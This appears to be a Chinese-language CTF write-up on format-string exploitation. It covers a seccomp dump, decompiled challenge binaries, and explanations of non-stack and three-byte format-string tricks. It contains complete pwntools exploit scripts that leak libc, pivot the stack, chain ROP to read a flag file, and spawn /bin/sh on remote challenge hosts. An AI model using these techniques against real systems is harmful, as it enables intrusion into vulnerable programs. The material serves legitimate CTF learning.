因为seccomp要满足一定的输入约束才会执行load bpf,所以直接seccomp dump是dump不出来沙箱规则的,得用python模拟符合输入约束的数据才能把沙箱规则dump出来,可以发现要用orw把flag读出来,然后rw对fd还有些约束,r的fd必须小于等于2,w的fd必须大于2,dup2(old_fd,new_fd)系统调用可以将一个fd重定向到一个新的fd,所以orw得用dup2重定向一下

lhj@lhj-virtual-machine:~/Desktop/ycb2023/shellcode$ python test.py | seccomp-tools dump ./shellcode
[0] The Joy Of Contsructing shellcode ~
[1] Are You Superstar In Ctfers?
[2] Input: (ye / no)
[3] Your Answer: b'
[4] Welcome To P0P's World!!!
[5] ======== Input Your P0P Code ========
[6] Next
[7] Just Do It!
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x12 0xc000003e  if (A != ARCH_X86_64) goto 0020
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0f 0xffffffff  if (A != 0xffffffff) goto 0020
 0005: 0x15 0x0d 0x00 0x00000002  if (A == open) goto 0019
 0006: 0x15 0x0c 0x00 0x00000021  if (A == dup2) goto 0019
 0007: 0x15 0x00 0x05 0x00000000  if (A != read) goto 0013
 0008: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # read(fd, buf, count)
 0009: 0x25 0x0a 0x00 0x00000000  if (A > 0x0) goto 0020
 0010: 0x15 0x00 0x08 0x00000000  if (A != 0x0) goto 0019
 0011: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count)
 0012: 0x25 0x07 0x06 0x00000002  if (A > 0x2) goto 0020 else goto 0019
 0013: 0x15 0x00 0x06 0x00000001  if (A != write) goto 0020
 0014: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # write(fd, buf, count)
 0015: 0x25 0x03 0x00 0x00000000  if (A > 0x0) goto 0019
 0016: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0020
 0017: 0x20 0x00 0x00 0x00000010  A = fd # write(fd, buf, count)
 0018: 0x25 0x00 0x01 0x00000002  if (A <= 0x2) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x06 0x00 0x00 0x00000000  return KILL
Read More

题目附件https://github.com/nyyyddddn/ctf/tree/main/%E5%A5%87%E5%A5%87%E6%80%AA%E6%80%AA%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%88%A9%E7%94%A81

非栈上格式化字符串套orw

hznuctf_ezpwn

int __cdecl main(int argc, const char **argv, const char **envp)
{
  sand_box(argc, argv, envp);
  rand_time();
  vuln();
  return 0;
}

void rand_time()
{
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned int seed; // [rsp+8h] [rbp-8h] BYREF
  int i; // [rsp+Ch] [rbp-4h]

  seed = time(0LL);
  printf("welcome to HZNUCTF !");
  printf("Please input your name: ");
  read(0, buf, 0x10uLL);
  printf("Hello, %s\n", buf);
  puts("I wonder if you're lucky enough");
  srand(seed);
  for ( i = 0; i <= 9; ++i )
  {
    printf("Let's guess the number: ");
    __isoc99_scanf("%d", &seed);
    if ( rand() != seed )
    {
      puts("Wrong.");
      puts("Guess you weren't lucky enough.");
      exit(-1);
    }
    puts("Right.");
  }
}

__int64 vuln()
{
  puts("WOW you really a lucky guy!");
  puts("Then I want to know if you are capable enough.");
  while ( 1 )
  {
    printf("Please tell us something: ");
    read(0, s1, 0x80uLL);
    if ( !strcmp(s1, "HZNUCTF") )
      break;
    printf(s1);
  }
  return 0LL;
}

非栈上格式化字符串相对栈上格式化字符串 最麻烦的地方是任意地址写需要通过一个指针去调整另一个指针,一个字节或者是两个字节的写数据,需要两个步骤,有orw的情况下(不考虑这个沙箱能escape的情况)如果能正常退出循环,可以配合栈迁移的方式,把栈迁移到输入地址那进行rop,然后还可以通过二次迁移迁移到已知的地址来做更复杂的操作

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "150.158.117.224"
PORT = 20042

elf = context.binary = ELF('./ez_pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

cdll=ctypes.CDLL("./libc-2.31.so")


p = connect()

payload=b"a"*8+p32(0)+p32(0x20)
sa("Please input your name: ",payload)
cdll.srand(0)
for i in range(10):
	payload=cdll.rand()
	sla("Let's guess the number: ",str(payload))

payload=b"%6$p%7$p%9$p"+b"HZNUCTF\x00"
sa("Please tell us something: ",payload)

stack=int(p.recv(14).decode("utf-8"),16)
log.success(f"rbp->{hex(stack)}")
leek_main=int(p.recv(14).decode("utf-8"),16)
main=leek_main-38
log.success(f"main->{hex(main)}")
pie=main-0x14df
log.success(f"pie->{hex(pie)}")
libc_base=int(p.recv(14).decode("utf-8"),16)-libc.sym["__libc_start_main"]-243
log.success(f"libc_base->{hex(libc_base)}")
bss=pie+0x4060
leave_ret=pie+0x1369

payload=f"%{(stack&0xffff)-0x8}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(leave_ret&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x28}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(bss&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x30}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(leave_ret&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)

payload=f"%{(stack&0xffff)-0x10}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x28}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)

open=libc_base+libc.sym["open"]
read=libc_base+libc.sym["read"]
write=libc_base+libc.sym["write"]
pop_rdi=pie+0x1573
pop_rsi=libc_base+0x2601f
pop_rdx=libc_base+0x15fae6
flag=bss+0xe0
buf=bss+0x100

payload=b"HZNUCTF\x00"
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss+0x48) + p64(pop_rdx) + p64(0x110) + p64(0)
payload += p64(read)
sa("Please tell us something: ",payload)

payload = p64(pop_rdi) + p64(flag) + p64(open)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x30) + p64(0) + p64(read) 
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x30) + p64(0) + p64(write)+b"./flag\x00"
s(payload)

p.interactive()

3个字节格式化字符串泄露libc

corctf_format-string

source.c

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void do_printf()
{
    char buf[4];

    if (scanf("%3s", buf) <= 0)
        exit(1);

    printf("Here: ");
    printf(buf);
}

void do_call()
{
    void (*ptr)(const char *);

    if (scanf("%p", &ptr) <= 0)
        exit(1);

    ptr("/bin/sh");
}

int main()
{
    int choice;

    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);

    while (1)
    {
        puts("1. printf");
        puts("2. call");

        if (scanf("%d", &choice) <= 0)
            break;

        switch (choice)
        {
            case 1:
                do_printf();
                break;
            case 2:
                do_call();
                break;
            default:
                puts("Invalid choice!");
                exit(1);
        }
    }

    return 0;
}

程序的输入只有三个字节,只需要泄露libc的地址就可以通过do_call去getshell,”%*d”表达式有两个参数一个是打印的宽度,另一个是打印的字符,printf(“% *d”, 5, 42); 这里rsi是宽度 rdx是打印的数字

在第一次do_printf的时候 printf(“Here: “); rsi残留了一个printf缓冲区的地址,这个地址被当成了宽度,在解析格式化字符串的时候printf的缓冲区被写满了字符,第二个do_printf的时候,通过 %s可以将printf缓冲区的内容泄露出来,缓冲区结尾有libc的地址,所以可以通过这种方式去泄露libc

pwndbg> 
0x00005d8dccc20236 in do_printf ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────
*RAX  0x0
 RBX  0x5d8dccc203b0 (__libc_csu_init) ◂— endbr64 
 RCX  0x0
 RDX  0x0
 RDI  0x5d8dccc21008 ◂— 0x2500203a65726548 /* 'Here: ' */
 RSI  0x4
 R8   0x64
 R9   0x0
 R10  0x5d8dccc21004 ◂— 0x6572654800733325 /* '%3s' */
 R11  0x246
 R12  0x5d8dccc20100 (_start) ◂— endbr64 
 R13  0x7ffe4c726f90 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7ffe4c726e80 —▸ 0x7ffe4c726ea0 ◂— 0x0
 RSP  0x7ffe4c726e70 ◂— 0x642a25ccc20100
*RIP  0x5d8dccc20236 (do_printf+77) ◂— call 0x5d8dccc200c0
────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────
   0x5d8dccc20217 <do_printf+46>    call   __isoc99_scanf@plt                <__isoc99_scanf@plt>
 
   0x5d8dccc2021c <do_printf+51>    test   eax, eax
   0x5d8dccc2021e <do_printf+53>    jg     do_printf+65                <do_printf+65>
    ↓
   0x5d8dccc2022a <do_printf+65>    lea    rdi, [rip + 0xdd7]
   0x5d8dccc20231 <do_printf+72>    mov    eax, 0
 ► 0x5d8dccc20236 <do_printf+77>    call   printf@plt                <printf@plt>
        format: 0x5d8dccc21008 ◂— 0x2500203a65726548 /* 'Here: ' */
        vararg: 0x4
 
   0x5d8dccc2023b <do_printf+82>    lea    rax, [rbp - 0xc]
   0x5d8dccc2023f <do_printf+86>    mov    rdi, rax
   0x5d8dccc20242 <do_printf+89>    mov    eax, 0
   0x5d8dccc20247 <do_printf+94>    call   printf@plt                <printf@plt>
 
   0x5d8dccc2024c <do_printf+99>    nop    
─────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe4c726e70 ◂— 0x642a25ccc20100
01:0008│     0x7ffe4c726e78 ◂— 0xace6cc258ec17700
02:0010│ rbp 0x7ffe4c726e80 —▸ 0x7ffe4c726ea0 ◂— 0x0
03:0018│     0x7ffe4c726e88 —▸ 0x5d8dccc2036c (main+164) ◂— jmp 0x5d8dccc20390
04:0020│     0x7ffe4c726e90 ◂— 0x14c726f90
05:0028│     0x7ffe4c726e98 ◂— 0xace6cc258ec17700
06:0030│     0x7ffe4c726ea0 ◂— 0x0
07:0038│     0x7ffe4c726ea8 —▸ 0x7d2bbe226083 (__libc_start_main+243) ◂— mov edi, eax
───────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────
 ► 0   0x5d8dccc20236 do_printf+77
   1   0x5d8dccc2036c main+164
   2   0x7d2bbe226083 __libc_start_main+243
   3   0x5d8dccc2012e _start+46
───────────────────────────

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64')
# log_level='debug'

is_debug = 0
IP = "be.ax"
PORT = 32323

elf = context.binary = ELF('./chal')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_ucontext(
    src: int,
    rsp=0,
    rbx=0,
    rbp=0,
    r12=0,
    r13=0,
    r14=0,
    r15=0,
    rsi=0,
    rdi=0,
    rcx=0,
    r8=0,
    r9=0,
    rdx=0,
    rip=0xDEADBEEF,
) -> bytearray:
    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(src)  # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0xA0:0xA8] = p64(rsp)
    b[0x80:0x88] = p64(rbx)
    b[0x78:0x80] = p64(rbp)
    b[0x48:0x50] = p64(r12)
    b[0x50:0x58] = p64(r13)
    b[0x58:0x60] = p64(r14)
    b[0x60:0x68] = p64(r15)

    b[0xA8:0xB0] = p64(rip)  # ret ptr
    b[0x70:0x78] = p64(rsi)
    b[0x68:0x70] = p64(rdi)
    b[0x98:0xA0] = p64(rcx)
    b[0x28:0x30] = p64(r8)
    b[0x30:0x38] = p64(r9)
    b[0x88:0x90] = p64(rdx)

    return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )
# e.g. dest, payload = setcontext32.setcontext32(
#         libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
#     )


p = connect()

def print_data(data):
    sl("1")
    sl(data)

def call_addr(addr):
    sl("2")
    sl(hex(addr).encode())

print_data("%*d")
print_data("%s")

system = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x19a6f0
call_addr(system)



p.interactive()

musl libc中的格式化字符串 (和禁用$差不多)

crewctf_Format muscle

使用musl libc动态连接

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+108h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  setbuf((FILE *)&dword_0, 0LL);
  do
  {
    fgets(s, 256, (FILE *)&dword_0);
    printf(s);
  }
  while ( strncmp(s, "quit", 4uLL) );
  exit(0);
}
Read More
⬆︎TOP